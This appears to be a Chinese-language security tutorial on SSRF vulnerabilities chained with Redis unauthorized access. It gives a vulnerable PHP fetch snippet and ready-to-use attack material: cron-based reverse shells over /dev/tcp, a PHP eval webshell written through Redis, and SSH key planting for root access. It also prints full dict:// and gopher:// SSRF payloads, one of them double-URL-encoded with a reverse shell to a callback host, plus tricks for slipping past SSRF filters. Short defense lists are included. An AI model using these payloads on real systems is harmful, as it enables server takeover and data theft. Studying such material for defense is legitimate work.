Skip to content

SSRF 漏洞

SSRF(Server-Side Request Forgery)是由攻击者构造形成由服务端发起请求的安全漏洞
利用 SSRF 漏洞后,主要可以用来内网探测(内网信息收集)
特征:URL 中含有 URL

位置

转发链接功能
服务器需要向目标链接发送请求获取 title 和内容等
翻译网页功能
图片、文章收藏功能
原理同转发链接,服务器需要向目标链接发送请求获取 title 和内容等
URL 关键字

share
wap
url
link
src
source
target
u
display
sourceURL
imageURL
domain

对应函数

file_get_contents()
该函数可以发起网络请求,直接返回内容

<?php
if(isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename = './images/'.rand().'img1.jpg';
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
echo $img;
}
?>
fsockopen()
curl_exec()

Redis 未授权访问

Redis 默认绑定在 0.0.0.0:6379(0.0.0.0 是一个通配符,代表所有 IPV4 地址),如果没有采取相关策略,就会把 Redis 暴露在公网上,如果没有设置密码认证(默认为空),就存在未授权访问漏洞

安装

sudo yum install redis
sudo systemctl enable redis
sudo systemctl start redis
配置文件默认为 /etc/redis.conf
redis.conf 中有 bind 127.0.0.1,默认只能本机使用,改为 bind 0.0.0.0,在这个文件里还可以设置密码,关键字为 requirepassdaemonize 改成 yes,允许后台运行

基本操作

Redis 默认端口为 6379
Redis 是非关系型数据库,即键和值一一对应

添加数据:SET 键 值
获取数据:GET 键
删除数据:DEL 键
查看所有键:KEYS *
清空所有数据:FLUSHALL

配置操作

Redis 本身是内存存储,但是也支持持久化

config set dir /home/test
config set dbfilename redis.rdb
config get dir
config get dbfilename
save
通过保存操作,可以先 set shell "反弹Shell攻击代码",然后修改配置,保存到定时任务目录 /var/spool/cron/,文件名为用户名

利用定时任务反弹 Shell

nc -lvvp 4444 # 公网主机监听 4444 端口
/bin/bash -i>&/dev/tcp/172.16.0.2/4444 0>&1 # 在受害主机上执行的命令,真实攻击过程中,ip 应该为公网主机的 ip
redis-cli -h 172.16.0.3 
set shell "\n\n* * * * * /bin/bash -i>&/dev/tcp/公网ip/端口号 0>&1\n\n"
# * * * * * 代表每分钟执行一次
config set dir /var/spool/cron
config set dbfilename root # 必须是某个用户的名称
save # 保存,生成了指定文件

Webshell

把一句话木马程序保存到网站根目录

利用公私钥认证获取 root 免密连接权限

操控主机:
生成公私钥:ssh-keygen
公钥拷贝到目标主机的 /root/.ssh/authorized_keys
目标主机:
/root 目录创建 .ssh 文件夹
cd .ssh 进入该目录后,创建 authorized_keys 文件并写入公钥
操控主机上执行 ssh root@目标主机IP地址 即可免密连接

防护手段

  1. 添加防火墙策略,只允许某些 IP 访问
  2. 为 Redis 设置密码,在 redis.confrequirepass 关键字设置,设置密码之后,在客户端连接 Redis 后无法访问数据,需要使用 auth yourpassword 命令授权才能访问

URL 伪协议

http:// 主要用于探测主机和端口的开放情况
file:///etc/passwd 从文件系统获取内容
dict://172.16.0.1:6789/info 字典服务器协议
ftp:// 针对 21 端口的探测
sftp:// SSH 文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
gopher:// 分布式文档传递服务
file
file://<host>/<path> 格式,作为特例,<host> 可以省略,指解释该 URL 的计算机
dict
dict://172.16.0.3:6379/info 可以探测是否存在 Redis 未授权访问漏洞
dict 可以用来内网主机探测、开放端口探测、端口服务指纹探测、执行命令
例如
# 一、写入定时任务,执行反弹 shell
dict://172.16.0.3:6379/config:set:dir:/var/spool/cron
dict://172.16.0.3:6379/config:set:dbfilename:root
dict://172.16.0.3:6379/set:shell:"\n\n* * * * * /bin/bash -i>&/dev/tcp/公网ip/端口号 0>&1\n\n"
# 如果 payload 存在被转义或过滤的情况,或者由于 URL 编码引起报错,可以尝试用 16 进制写入内容
dict://172.16.0.3:6379/save
# 二、写入 webshell(前提是 Redis 服务所在主机有 http 服务)
dict://172.16.0.3:6379/config:set:dbfilename:test.php
dict://172.16.0.3:6379/config:set:dir:/var/www/html
dict://172.16.0.3:6379/set:shell:"\n\n<?php @eval($_POST[cmd]);?>\n\n"
# 由于特殊符号的影响会报错,可以使用十六进制写成
dict://172.16.0.3:6379/SET%20shell%20"\x0a\x0a\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x6d\x64\x5d\x29\x3b\x3f\x3e\x0a\x0a"
dict://172.16.0.3:6379/save
gopher
Gopher 是一种分布式文档传递服务,并且支持多行指令一同发送,协议格式 gopher://ip:port/_数据包,数据包前面的 _ 是一个无用字符,gopher 协议默认忽略第一个数据,所以用一个无用字符占位
格式要求:
- 要用一个无用字符占位
- 要进行 URL 编码
- Gopher 协议数据流中,URL 编码后使用 %0d%0a 替换字符串中的回车换行
- 数据流末尾用 %0d%0a 代表结束

示例:

*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4 代表 4 个参数,$6 代表参数长度,每行末尾都有 %0d%0a
可以使用 Gopherus 工具帮助生成 payload
gopherus --exploit redis,得到,并更改其中的 IP 和端口号
gopher://172.16.0.3:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2465%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.100.105/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
对于得到的数据,由于服务器使用的是 curl_exec() 函数,所以需要对 _ 之后的数据进行二次 URL 编码,才能作为 payload 插入到 GET/POST 请求中,如果不是 curl_exec() 函数则不需要二次 URL 编码,编码后得到
gopher://172.16.0.3:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252465%250D%250A%250A%250A%252A%2f1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520%2fdev%2ftcp%2f192.168.100.105%2f1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252416%250D%250A%2fvar%2fspool%2fcron%2f%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
该 payload 仍存在问题,需要在定时任务语句后加入换行符

防御手段

  1. 过滤返回信息
  2. 统一处理错误信息
  3. 限制请求端口为 http 常用端口
  4. 防火墙策略
  5. 禁止不需要的协议,仅支持 http(s)
  6. 固定 URL

绕过方式

http 基本身份认证

可以采用 http 基本身份认证的方式绕过
http://www.a.com@www.b.com@www.c.com,对 @ 解析域名中,不同处理函数存在差异,PHP 中 parse_url() 会识别 www.c.comlibcurl() 识别 www.b.com

短网址绕过

限制了内网地址,可以利用短链接的方式

进制转换

例如把 127.0.0.1 转换成八进制 0177.0.0.1 十六进制 0x7f.0.0.1 十进制 2130706433

特殊域名绕过

例如 127.0.0.1.xip.io 指向 127.0.0.1

利用 [::]

http://172.16.0.3 写成 http://[::172.16.0.3]

利用中文句号

例如 127。0。0。1,只有 Linux 系统能识别

CRLF 编码绕过

利用封闭字符绕过

例如 ①②⑦.⓪.⓪.①,仅 Linux 系统支持